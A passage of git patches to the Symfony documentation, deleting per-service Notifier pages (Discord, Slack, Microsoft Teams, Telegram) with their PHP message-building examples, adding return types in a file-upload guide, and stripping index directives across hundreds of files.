 .. _`Smsapi`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Smsapi/README.md
 .. _`SmsBiuras`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SmsBiuras/README.md
 .. _`Smsc`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Smsc/README.md
 .. _`SpotHit`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SpotHit/README.md
+.. _`Telegram`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Telegram/README.md
 .. _`Telnyx`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Telnyx/README.md
 .. _`TurboSms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/TurboSms/README.md
 .. _`Twilio`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Twilio/README.md
diff --git a/notifier/discord.rst b/notifier/discord.rst
deleted file mode 100644
index d7315b73f3d..00000000000
--- a/notifier/discord.rst
+++ /dev/null
@@ -1,62 +0,0 @@
-.. index::
-    single: Notifier; Chatters
-
-Discord Notifier
-================
-
-The Discord Notifier package allows to use Discord via the Symfony Notifier
-component. Read the :doc:`main Notifier docs </notifier>` to learn about installing
-and configuring that component.
-
-Adding Interactions to a Message
---------------------------------
-
-With a Discord message, you can use the
-:class:`Symfony\\Component\\Notifier\\Bridge\\Discord\\DiscordOptions` class
-to add some interactive options called `Embed elements`_::
-
-    use Symfony\Component\Notifier\Bridge\Discord\DiscordOptions;
-    use Symfony\Component\Notifier\Bridge\Discord\Embeds\DiscordEmbed;
-    use Symfony\Component\Notifier\Bridge\Discord\Embeds\DiscordFieldEmbedObject;
-    use Symfony\Component\Notifier\Bridge\Discord\Embeds\DiscordFooterEmbedObject;
-    use Symfony\Component\Notifier\Bridge\Discord\Embeds\DiscordMediaEmbedObject;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-
-    $chatMessage = new ChatMessage('');
-
-    // Create Discord Embed
-    $discordOptions = (new DiscordOptions())
-        ->username('connor bot')
-        ->addEmbed((new DiscordEmbed())
-            ->color(2021216)
-            ->title('New song added!')
-            ->thumbnail((new DiscordMediaEmbedObject())
-            ->url('https://i.scdn.co/image/ab67616d0000b2735eb27502aa5cb1b4c9db426b'))
-            ->addField((new DiscordFieldEmbedObject())
-                ->name('Track')
-                ->value('[Common Ground](https://open.spotify.com/track/36TYfGWUhIRlVjM8TxGUK6)')
-                ->inline(true)
-            )
-            ->addField((new DiscordFieldEmbedObject())
-                ->name('Artist')
-                ->value('Alasdair Fraser')
-                ->inline(true)
-            )
-            ->addField((new DiscordFieldEmbedObject())
-                ->name('Album')
-                ->value('Dawn Dance')
-                ->inline(true)
-            )
-            ->footer((new DiscordFooterEmbedObject())
-                ->text('Added ...')
-                ->iconUrl('https://upload.wikimedia.org/wikipedia/commons/thumb/1/19/Spotify_logo_without_text.svg/200px-Spotify_logo_without_text.svg.png')
-            )
-        )
-    ;
-
-    // Add the custom options to the chat message and send the message
-    $chatMessage->options($discordOptions);
-
-    $chatter->send($chatMessage);
-
-.. _`Embed elements`: https://discord.com/developers/docs/resources/webhook
diff --git a/notifier/slack.rst b/notifier/slack.rst
deleted file mode 100644
index 8904ed6ad34..00000000000
--- a/notifier/slack.rst
+++ /dev/null
@@ -1,210 +0,0 @@
-.. index::
-    single: Notifier; Chatters
-
-Slack Notifier
-==============
-
-The Slack Notifier package allows to use Slack via the Symfony Notifier
-component. Read the :doc:`main Notifier docs </notifier>` to learn about installing
-and configuring that component.
-
-Adding Interactions to a Message
---------------------------------
-
-With a Slack message, you can use the
-:class:`Symfony\\Component\\Notifier\\Bridge\\Slack\\SlackOptions` class
-to add some interactive options called `Block elements`_::
-
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackActionsBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackDividerBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackImageBlockElement;
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-
-    $chatMessage = new ChatMessage('Contribute To Symfony');
-
-    // Create Slack Actions Block and add some buttons
-    $contributeToSymfonyBlocks = (new SlackActionsBlock())
-        ->button(
-            'Improve Documentation',
-            'https://symfony.com/doc/current/contributing/documentation/standards.html',
-            'primary'
-        )
-        ->button(
-            'Report bugs',
-            'https://symfony.com/doc/current/contributing/code/bugs.html',
-            'danger'
-        );
-
-    $slackOptions = (new SlackOptions())
-        ->block((new SlackSectionBlock())
-            ->text('The Symfony Community')
-            ->accessory(
-                new SlackImageBlockElement(
-                    'https://symfony.com/favicons/apple-touch-icon.png',
-                    'Symfony'
-                )
-            )
-        )
-        ->block(new SlackDividerBlock())
-        ->block($contributeToSymfonyBlocks);
-
-    // Add the custom options to the chat message and send the message
-    $chatMessage->options($slackOptions);
-
-    $chatter->send($chatMessage);
-
-Adding Fields and Values to a Message
--------------------------------------
-
-To add fields and values to your message you can use the
-:method:`SlackSectionBlock::field() <Symfony\\Component\\Notifier\\Bridge\\Slack\\Block\\SlackSectionBlock::field>` method::
-
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackDividerBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-
-    $chatMessage = new ChatMessage('Symfony Feature');
-
-    $options = (new SlackOptions())
-        ->block((new SlackSectionBlock())->text('My message'))
-        ->block(new SlackDividerBlock())
-        ->block(
-            (new SlackSectionBlock())
-                ->field('*Max Rating*')
-                ->field('5.0')
-                ->field('*Min Rating*')
-                ->field('1.0')
-        );
-
-    // Add the custom options to the chat message and send the message
-    $chatMessage->options($options);
-
-    $chatter->send($chatMessage);
-
-The result will be something like:
-
-.. image:: /_images/notifier/slack/field-method.png
-   :align: center
-
-.. versionadded:: 5.1
-
-    The `field()` method was introduced in Symfony 5.1.
-
-Adding a Header to a Message
-----------------------------
-
-To add a header to your message use the
-:class:`Symfony\\Component\\Notifier\\Bridge\\Slack\\Block\\SlackHeaderBlock` class::
-
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackDividerBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackHeaderBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-
-    $chatMessage = new ChatMessage('Symfony Feature');
-
-    $options = (new SlackOptions())
-        ->block((new SlackHeaderBlock('My Header')))
-        ->block((new SlackSectionBlock())->text('My message'))
-        ->block(new SlackDividerBlock())
-        ->block(
-            (new SlackSectionBlock())
-                ->field('*Max Rating*')
-                ->field('5.0')
-                ->field('*Min Rating*')
-                ->field('1.0')
-        );
-
-    // Add the custom options to the chat message and send the message
-    $chatMessage->options($options);
-
-    $chatter->send($chatMessage);
-
-The result will be something like:
-
-.. image:: /_images/notifier/slack/slack-header.png
-   :align: center
-
-.. versionadded:: 5.3
-
-    The ``SlackHeaderBlock`` class was introduced in Symfony 5.3.
-
-Adding a Footer to a Message
-----------------------------
-
-To add a footer to your message use the
-:class:`Symfony\\Component\\Notifier\\Bridge\\Slack\\Block\\SlackContextBlock` class::
-
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackContextBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackDividerBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-
-    $chatMessage = new ChatMessage('Symfony Feature');
-
-    $contextBlock = (new SlackContextBlock())
-        ->text('My Context')
-        ->image('https://symfony.com/logos/symfony_white_03.png', 'Symfony Logo')
-    ;
-
-    $options = (new SlackOptions())
-        ->block((new SlackSectionBlock())->text('My message'))
-        ->block(new SlackDividerBlock())
-        ->block(
-            (new SlackSectionBlock())
-                ->field('*Max Rating*')
-                ->field('5.0')
-                ->field('*Min Rating*')
-                ->field('1.0')
-        )
-        ->block($contextBlock)
-    ;
-
-    $chatter->send($chatMessage);
-
-The result will be something like:
-
-.. image:: /_images/notifier/slack/slack-footer.png
-   :align: center
-
-.. versionadded:: 5.3
-
-    The ``SlackContextBlock`` class was introduced in Symfony 5.3.
-
-Sending a Message as a Reply
-----------------------------
-
-To send your slack message as a reply in a thread use the
-:method:`SlackOptions::threadTs() <Symfony\\Component\\Notifier\\Bridge\\Slack\\SlackOptions::threadTs>` method::
-
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-
-    $chatMessage = new ChatMessage('Symfony Feature');
-
-    $options = (new SlackOptions())
-        ->block((new SlackSectionBlock())->text('My reply'))
-        ->threadTs('1621592155.003100')
-    ;
-
-    // Add the custom options to the chat message and send the message
-    $chatMessage->options($options);
-
-    $chatter->send($chatMessage);
-
-The result will be something like:
-
-.. image:: /_images/notifier/slack/message-reply.png
-   :align: center
-
-.. versionadded:: 5.3
-
-    The ``threadTs()`` method was introduced in Symfony 5.3.
-
-.. _`Block elements`: https://api.slack.com/reference/block-kit/block-elements
diff --git a/notifier/teams.rst b/notifier/teams.rst
deleted file mode 100644
index b638bfdcc16..00000000000
--- a/notifier/teams.rst
+++ /dev/null
@@ -1,103 +0,0 @@
-.. index::
-    single: Notifier; Chatters
-
-Microsoft Teams Notifier
-========================
-
-The Microsoft Teams Notifier package allows to use Microsoft Teams via the Symfony
-Notifier component. Read the :doc:`main Notifier docs </notifier>` to learn about
-installing and configuring that component.
-
-Adding text to a Message
-------------------------
-
-With a Microsoft Teams, you can use the ChatMessage class::
-
-    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\MicrosoftTeamsTransport;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-
-    $chatMessage = (new ChatMessage('Contribute To Symfony'))->transport('microsoftteams');
-    $chatter->send($chatMessage);
-
-The result will be something like:
-
-.. image:: /_images/notifier/microsoft_teams/message.png
-   :align: center
-
-Adding Interactions to a Message
---------------------------------
-
-With a Microsoft Teams Message, you can use the
-:class:`Symfony\\Component\\Notifier\\Bridge\\MicrosoftTeams\\MicrosoftTeamsOptions` class
-to add `MessageCard options`_::
-
-    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Action\ActionCard;
-    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Action\HttpPostAction;
-    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Action\Input\DateInput;
-    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Action\Input\TextInput;
-    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\MicrosoftTeamsOptions;
-    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\MicrosoftTeamsTransport;
-    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Section\Field\Fact;
-    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Section\Section;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-
-    $chatMessage = new ChatMessage('');
-
-    // Action elements
-    $input = new TextInput();
-    $input->id('input_title');
-    $input->isMultiline(true)->maxLength(5)->title('In a few words, why would you like to participate?');
-
-    $inputDate = new DateInput();
-    $inputDate->title('Proposed date')->id('input_date');
-
-    // Create Microsoft Teams MessageCard
-    $microsoftTeamsOptions = (new MicrosoftTeamsOptions())
-        ->title('Symfony Online Meeting')
-        ->text('Symfony Online Meeting are the events where the best developers meet to share experiences...')
-        ->summary('Summary')
-        ->themeColor('#F4D35E')
-        ->section((new Section())
-            ->title('Talk about Symfony 5.3 - would you like to join? Please give a shout!')
-            ->fact((new Fact())
-                ->name('Presenter')
-                ->value('Fabien Potencier')
-            )
-            ->fact((new Fact())
-                ->name('Speaker')
-                ->value('Patricia Smith')
-            )
-            ->fact((new Fact())
-                ->name('Duration')
-                ->value('90 min')
-            )
-            ->fact((new Fact())
-                ->name('Date')
-                ->value('TBA')
-            )
-        )
-        ->action((new ActionCard())
-            ->name('ActionCard')
-            ->input($input)
-            ->input($inputDate)
-            ->action((new HttpPostAction())
-                ->name('Add comment')
-                ->target('http://target')
-            )
-        )
-    ;
-
-    // Add the custom options to the chat message and send the message
-    $chatMessage->options($microsoftTeamsOptions);
-    $chatter->send($chatMessage);
-
-The result will be something like:
-
-.. image:: /_images/notifier/microsoft_teams/message-card.png
-   :align: center
-
-.. versionadded:: 5.4
-
-    Options for Microsoft Teams were introduced in Symfony 5.4.
-
-.. _`MessageCard options`: https://docs.microsoft.com/en-us/outlook/actionable-messages/message-card-reference
diff --git a/notifier/telegram.rst b/notifier/telegram.rst
deleted file mode 100644
index 0ce6854b7f2..00000000000
--- a/notifier/telegram.rst
+++ /dev/null
@@ -1,43 +0,0 @@
-.. index::
-    single: Notifier; Chatters
-
-Telegram Notifier
-=================
-
-The Telegram Notifier package allows to use Telegram via the Symfony Notifier
-component. Read the :doc:`main Notifier docs </notifier>` to learn about installing
-and configuring that component.
-
-Adding Interactions to a Message
---------------------------------
-
-With a Telegram message, you can use the
-:class:`Symfony\\Component\\Notifier\\Bridge\\Telegram\\TelegramOptions` class
-to add `message options`_::
-
-    use Symfony\Component\Notifier\Bridge\Telegram\Reply\Markup\Button\InlineKeyboardButton;
-    use Symfony\Component\Notifier\Bridge\Telegram\Reply\Markup\InlineKeyboardMarkup;
-    use Symfony\Component\Notifier\Bridge\Telegram\TelegramOptions;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-
-    $chatMessage = new ChatMessage('');
-
-    // Create Telegram options
-    $telegramOptions = (new TelegramOptions())
-        ->chatId('@symfonynotifierdev')
-        ->parseMode('MarkdownV2')
-        ->disableWebPagePreview(true)
-        ->disableNotification(true)
-        ->replyMarkup((new InlineKeyboardMarkup())
-            ->inlineKeyboard([
-                (new InlineKeyboardButton('Visit symfony.com'))
-                    ->url('https://symfony.com/'),
-            ])
-        );
-
-    // Add the custom options to the chat message and send the message
-    $chatMessage->options($telegramOptions);
-
-    $chatter->send($chatMessage);
-
-.. _`message options`: https://core.telegram.org/bots/api

From 68136056ef8ca155cd9b331798a39287aa30b0e0 Mon Sep 17 00:00:00 2001
From: hbengamra <ha.ben.gamra@gmail.com>
Date: Sat, 25 Mar 2023 23:13:37 +0100
Subject: [PATCH 3133/5766] Update upload_file.rst

Fix bug return type
---
 controller/upload_file.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index ac96b4207bb..2b803ef0f40 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -34,7 +34,7 @@ add a PDF brochure for each product. To do so, add a new property called
             return $this->brochureFilename;
         }
 
-        public function setBrochureFilename(string $brochureFilename)
+        public function setBrochureFilename(string $brochureFilename): self
         {
             $this->brochureFilename = $brochureFilename;
 
@@ -94,7 +94,7 @@ so Symfony doesn't try to get/set its value from the related entity::
             ;
         }
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 'data_class' => Product::class,

From d7e844d9f2d4962baa1f57140224945ef1171316 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Mon, 27 Mar 2023 19:56:40 +0200
Subject: [PATCH 3134/5766] Remove index directive

---
 bundles.rst                                   |  3 --
 bundles/best_practices.rst                    |  6 ----
 bundles/configuration.rst                     |  4 ---
 bundles/extension.rst                         |  4 ---
 bundles/override.rst                          |  3 --
 bundles/prepend_extension.rst                 |  4 ---
 cache.rst                                     |  3 --
 components/asset.rst                          |  4 ---
 components/browser_kit.rst                    |  4 ---
 components/cache.rst                          |  5 ---
 components/cache/adapters/apcu_adapter.rst    |  4 ---
 .../cache/adapters/array_cache_adapter.rst    |  4 ---
 components/cache/adapters/chain_adapter.rst   |  4 ---
 .../adapters/couchbasebucket_adapter.rst      |  4 ---
 .../adapters/couchbasecollection_adapter.rst  |  4 ---
 .../cache/adapters/doctrine_adapter.rst       |  4 ---
 .../cache/adapters/filesystem_adapter.rst     |  4 ---
 .../cache/adapters/memcached_adapter.rst      |  4 ---
 .../adapters/pdo_doctrine_dbal_adapter.rst    |  4 ---
 .../adapters/php_array_cache_adapter.rst      |  4 ---
 .../cache/adapters/php_files_adapter.rst      |  4 ---
 components/cache/adapters/proxy_adapter.rst   |  4 ---
 components/cache/adapters/redis_adapter.rst   |  4 ---
 components/cache/cache_invalidation.rst       |  4 ---
 components/cache/cache_items.rst              |  5 ---
 components/cache/cache_pools.rst              | 11 -------
 components/cache/psr6_psr16_adapters.rst      |  5 ---
 components/config.rst                         |  4 ---
 components/config/caching.rst                 |  3 --
 components/config/definition.rst              |  3 --
 components/config/resources.rst               |  3 --
 components/console.rst                        |  4 ---
 .../console/changing_default_command.rst      |  3 --
 components/console/console_arguments.rst      |  3 --
 components/console/events.rst                 |  3 --
 components/console/helpers/cursor.rst         |  3 --
 .../console/helpers/debug_formatter.rst       |  3 --
 .../console/helpers/formatterhelper.rst       |  3 --
 components/console/helpers/index.rst          |  3 --
 components/console/helpers/processhelper.rst  |  3 --
 components/console/helpers/progressbar.rst    |  3 --
 components/console/helpers/questionhelper.rst |  3 --
 components/console/helpers/table.rst          |  3 --
 components/console/logger.rst                 |  3 --
 components/console/single_command_tool.rst    |  3 --
 components/console/usage.rst                  |  3 --
 components/contracts.rst                      |  4 ---
 components/css_selector.rst                   |  4 ---
 components/dependency_injection.rst           |  4 ---
 .../dependency_injection/compilation.rst      |  3 --
 components/dependency_injection/workflow.rst  |  3 --
 components/dom_crawler.rst                    |  4 ---
 components/event_dispatcher.rst               | 31 ------------------
 .../container_aware_dispatcher.rst            |  3 --
 components/event_dispatcher/generic_event.rst |  3 --
 .../event_dispatcher/immutable_dispatcher.rst |  3 --
 .../event_dispatcher/traceable_dispatcher.rst |  4 ---
 components/expression_language.rst            | 14 --------
 components/filesystem.rst                     |  3 --
 components/finder.rst                         |  4 ---
 components/form.rst                           |  4 ---
 components/http_foundation.rst                |  5 ---
 components/http_kernel.rst                    |  5 ---
 components/inflector.rst                      |  4 ---
 components/intl.rst                           |  4 ---
 components/ldap.rst                           |  4 ---
 components/lock.rst                           |  4 ---
 components/messenger.rst                      |  4 ---
 components/mime.rst                           |  5 ---
 components/options_resolver.rst               |  4 ---
 components/phpunit_bridge.rst                 |  4 ---
 components/process.rst                        |  4 ---
 components/property_access.rst                |  4 ---
 components/property_info.rst                  |  4 ---
 components/psr7.rst                           |  3 --
 components/runtime.rst                        |  4 ---
 components/semaphore.rst                      |  4 ---
 components/serializer.rst                     |  4 ---
 components/string.rst                         |  4 ---
 components/uid.rst                            |  4 ---
 components/using_components.rst               |  4 ---
 components/validator.rst                      |  4 ---
 components/validator/metadata.rst             |  3 --
 components/validator/resources.rst            |  3 --
 components/var_dumper.rst                     |  8 -----
 components/var_exporter.rst                   |  4 ---
 components/workflow.rst                       |  4 ---
 components/yaml.rst                           |  4 ---
 configuration.rst                             |  6 ----
 configuration/env_var_processors.rst          |  3 --
 .../front_controllers_and_kernel.rst          | 10 ------
 configuration/multiple_kernels.rst            |  3 --
 configuration/override_dir_structure.rst      |  3 --
 configuration/secrets.rst                     |  3 --
 configuration/using_parameters_in_dic.rst     |  3 --
 console.rst                                   |  3 --
 console/command_in_controller.rst             |  3 --
 console/commands_as_services.rst              |  3 --
 console/style.rst                             |  3 --
 controller.rst                                | 32 -------------------
 controller/argument_value_resolver.rst        |  3 --
 controller/error_pages.rst                    |  4 ---
 controller/forwarding.rst                     |  3 --
 controller/service.rst                        |  3 --
 controller/upload_file.rst                    |  3 --
 deployment.rst                                |  3 --
 doctrine.rst                                  |  3 --
 doctrine/associations.rst                     |  3 --
 doctrine/custom_dql_functions.rst             |  3 --
 doctrine/dbal.rst                             |  3 --
 doctrine/events.rst                           |  3 --
 doctrine/multiple_entity_managers.rst         |  3 --
 doctrine/registration_form.rst                |  5 ---
 doctrine/resolve_target_entity.rst            |  4 ---
 doctrine/reverse_engineering.rst              |  3 --
 email.rst                                     |  3 --
 event_dispatcher.rst                          |  4 ---
 form/button_based_validation.rst              |  3 --
 form/create_custom_field_type.rst             |  3 --
 form/create_form_type_extension.rst           |  3 --
 form/data_based_validation.rst                |  3 --
 form/data_mappers.rst                         |  3 --
 form/data_transformers.rst                    |  3 --
 form/direct_submit.rst                        |  3 --
 form/disabling_validation.rst                 |  3 --
 form/dynamic_form_modification.rst            |  3 --
 form/embedded.rst                             |  3 --
 form/events.rst                               |  3 --
 form/form_collections.rst                     |  3 --
 form/form_customization.rst                   |  3 --
 form/form_themes.rst                          |  4 ---
 form/inherit_data_option.rst                  |  3 --
 form/multiple_buttons.rst                     |  3 --
 form/type_guesser.rst                         |  3 --
 form/unit_testing.rst                         |  3 --
 form/use_empty_data.rst                       |  3 --
 form/validation_groups.rst                    |  3 --
 form/without_class.rst                        |  3 --
 forms.rst                                     |  3 --
 frontend/create_ux_bundle.rst                 |  3 --
 frontend/custom_version_strategy.rst          |  3 --
 frontend/ux.rst                               |  3 --
 http_cache.rst                                | 26 ---------------
 http_cache/cache_invalidation.rst             |  3 --
 http_cache/cache_vary.rst                     |  4 ---
 http_cache/esi.rst                            |  4 ---
 http_cache/expiration.rst                     | 11 -------
 http_cache/ssi.rst                            |  4 ---
 http_cache/validation.rst                     | 15 ---------
 http_cache/varnish.rst                        |  9 ------
 http_client.rst                               |  4 ---
 introduction/from_flat_php_to_symfony.rst     |  3 --
 introduction/http_fundamentals.rst            | 15 ---------
 lock.rst                                      |  3 --
 logging/channels_handlers.rst                 |  3 --
 logging/monolog_console.rst                   |  3 --
 logging/monolog_email.rst                     |  3 --
 logging/monolog_exclude_http_codes.rst        |  5 ---
 mercure.rst                                   |  3 --
 messenger.rst                                 |  3 --
 messenger/dispatch_after_current_bus.rst      |  3 --
 messenger/handler_results.rst                 |  3 --
 messenger/multiple_buses.rst                  |  3 --
 migration.rst                                 |  3 --
 notifier.rst                                  |  6 ----
 page_creation.rst                             |  6 ----
 performance.rst                               |  3 --
 profiler.rst                                  |  3 --
 reference/attributes.rst                      |  3 --
 reference/configuration/debug.rst             |  3 --
 reference/configuration/doctrine.rst          |  8 -----
 reference/configuration/framework.rst         |  3 --
 reference/configuration/kernel.rst            |  3 --
 reference/configuration/monolog.rst           |  3 --
 reference/configuration/security.rst          |  3 --
 reference/configuration/swiftmailer.rst       |  3 --
 reference/configuration/twig.rst              |  3 --
 reference/configuration/web_profiler.rst      |  3 --
 reference/formats/expression_language.rst     |  3 --
 reference/formats/message_format.rst          |  3 --
 reference/formats/yaml.rst                    |  3 --
 reference/forms/types.rst                     |  3 --
 reference/forms/types/birthday.rst            |  3 --
 reference/forms/types/button.rst              |  3 --
 reference/forms/types/checkbox.rst            |  3 --
 reference/forms/types/choice.rst              |  3 --
 reference/forms/types/collection.rst          |  3 --
 reference/forms/types/color.rst               |  3 --
 reference/forms/types/country.rst             |  3 --
 reference/forms/types/currency.rst            |  3 --
 reference/forms/types/date.rst                |  3 --
 reference/forms/types/dateinterval.rst        |  3 --
 reference/forms/types/datetime.rst            |  3 --
 reference/forms/types/email.rst               |  3 --
 reference/forms/types/entity.rst              |  3 --
 reference/forms/types/enum.rst                |  3 --
 reference/forms/types/file.rst                |  3 --
 reference/forms/types/form.rst                |  3 --
 reference/forms/types/hidden.rst              |  3 --
 reference/forms/types/integer.rst             |  3 --
 reference/forms/types/language.rst            |  3 --
 reference/forms/types/locale.rst              |  3 --
 reference/forms/types/money.rst               |  3 --
 reference/forms/types/number.rst              |  3 --
 reference/forms/types/password.rst            |  3 --
 reference/forms/types/percent.rst             |  3 --
 reference/forms/types/radio.rst               |  3 --
 reference/forms/types/range.rst               |  3 --
 reference/forms/types/repeated.rst            |  3 --
 reference/forms/types/reset.rst               |  3 --
 reference/forms/types/search.rst              |  3 --
 reference/forms/types/submit.rst              |  3 --
 reference/forms/types/tel.rst                 |  3 --
 reference/forms/types/text.rst                |  3 --
 reference/forms/types/textarea.rst            |  3 --
 reference/forms/types/time.rst                |  3 --
 reference/forms/types/timezone.rst            |  3 --
 reference/forms/types/ulid.rst                |  3 --
 reference/forms/types/url.rst                 |  3 --
 reference/forms/types/uuid.rst                |  3 --
 reference/forms/types/week.rst                |  3 --
 reference/twig_reference.rst                  |  3 --
 routing.rst                                   |  3 --
 routing/custom_route_loader.rst               |  3 --
 routing/routing_from_database.rst             |  3 --
 security.rst                                  |  3 --
 security/access_denied_handler.rst            |  3 --
 security/csrf.rst                             |  3 --
 security/expressions.rst                      |  3 --
 security/firewall_restriction.rst             |  3 --
 security/force_https.rst                      |  3 --
 security/form_login.rst                       |  3 --
 security/impersonating_user.rst               |  3 --
 security/ldap.rst                             |  3 --
 security/login_link.rst                       |  4 ---
 security/remember_me.rst                      |  3 --
 security/user_checkers.rst                    |  3 --
 security/voters.rst                           |  3 --
 serializer.rst                                |  3 --
 serializer/custom_encoders.rst                |  3 --
 serializer/custom_normalizer.rst              |  3 --
 service_container.rst                         |  7 ----
 service_container/alias_private.rst           |  3 --
 service_container/autowiring.rst              |  3 --
 service_container/calls.rst                   |  3 --
 service_container/compiler_passes.rst         |  4 ---
 service_container/configurators.rst           |  3 --
 service_container/debug.rst                   |  4 ---
 service_container/definitions.rst             |  3 --
 service_container/expression_language.rst     |  6 ----
 service_container/factories.rst               |  3 --
 service_container/import.rst                  | 10 ------
 service_container/injection_types.rst         |  3 --
 service_container/lazy_services.rst           |  3 --
 service_container/parent_services.rst         |  3 --
 service_container/request.rst                 |  4 ---
 service_container/service_closures.rst        |  3 --
 service_container/service_decoration.rst      |  3 --
 .../service_subscribers_locators.rst          |  3 --
 service_container/shared.rst                  |  3 --
 service_container/synthetic_services.rst      |  3 --
 service_container/tags.rst                    |  4 ---
 session.rst                                   | 16 ----------
 setup.rst                                     |  3 --
 setup/bundles.rst                             |  3 --
 setup/docker.rst                              |  2 --
 setup/flex.rst                                |  2 --
 setup/homestead.rst                           |  2 --
 setup/upgrade_major.rst                       |  3 --
 setup/upgrade_minor.rst                       |  3 --
 setup/upgrade_patch.rst                       |  3 --
 setup/web_server_configuration.rst            |  3 --
 templates.rst                                 | 12 -------
 testing.rst                                   |  3 --
 testing/database.rst                          |  3 --
 testing/dom_crawler.rst                       |  3 --
 testing/http_authentication.rst               |  3 --
 testing/insulating_clients.rst                |  3 --
 testing/profiling.rst                         |  3 --
 translation.rst                               | 18 -----------
 validation.rst                                | 31 ------------------
 validation/custom_constraint.rst              |  3 --
 validation/groups.rst                         |  3 --
 validation/raw_values.rst                     |  3 --
 validation/sequence_provider.rst              |  4 ---
 validation/severity.rst                       |  4 ---
 validation/translations.rst                   |  3 --
 web_link.rst                                  |  3 --
 workflow/dumping-workflows.rst                |  3 --
 289 files changed, 1188 deletions(-)

diff --git a/bundles.rst b/bundles.rst
index ed194614c34..34b6e644d46 100644
--- a/bundles.rst
+++ b/bundles.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Bundles
-
 .. _page-creation-bundles:
 
 The Bundle System
diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index eecd1da7e44..d5c73209f26 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Bundle; Best practices
-
 Best Practices for Reusable Bundles
 ===================================
 
@@ -9,9 +6,6 @@ configurable and extendable. Reusable bundles are those meant to be shared
 privately across many company projects or publicly so any Symfony project can
 install them.
 
-.. index::
-   pair: Bundle; Naming conventions
-
 .. _bundles-naming-conventions:
 
 Bundle Name
diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index 007ad99759f..e25d6e01036 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: Configuration; Semantic
-   single: Bundle; Extension configuration
-
 How to Create Friendly Configuration for a Bundle
 =================================================
 
diff --git a/bundles/extension.rst b/bundles/extension.rst
index eadd0ab864a..2a8a5965451 100644
--- a/bundles/extension.rst
+++ b/bundles/extension.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: Configuration; Semantic
-   single: Bundle; Extension configuration
-
 How to Load Service Configuration inside a Bundle
 =================================================
 
diff --git a/bundles/override.rst b/bundles/override.rst
index 6cf3d37c386..a524780baa9 100644
--- a/bundles/override.rst
+++ b/bundles/override.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Bundle; Inheritance
-
 How to Override any Part of a Bundle
 ====================================
 
diff --git a/bundles/prepend_extension.rst b/bundles/prepend_extension.rst
index 53f0fed9da9..6ad1ad758d3 100644
--- a/bundles/prepend_extension.rst
+++ b/bundles/prepend_extension.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: Configuration; Semantic
-   single: Bundle; Extension configuration
-
 How to Simplify Configuration of Multiple Bundles
 =================================================
 
diff --git a/cache.rst b/cache.rst
index e9ff5d41de2..48d3a250bd1 100644
--- a/cache.rst
+++ b/cache.rst
@@ -1,6 +1,3 @@
-.. index::
-    single: Cache
-
 Cache
 =====
 
diff --git a/components/asset.rst b/components/asset.rst
index 9903702823e..b5c171d0fc9 100644
--- a/components/asset.rst
+++ b/components/asset.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: Asset
-   single: Components; Asset
-
 The Asset Component
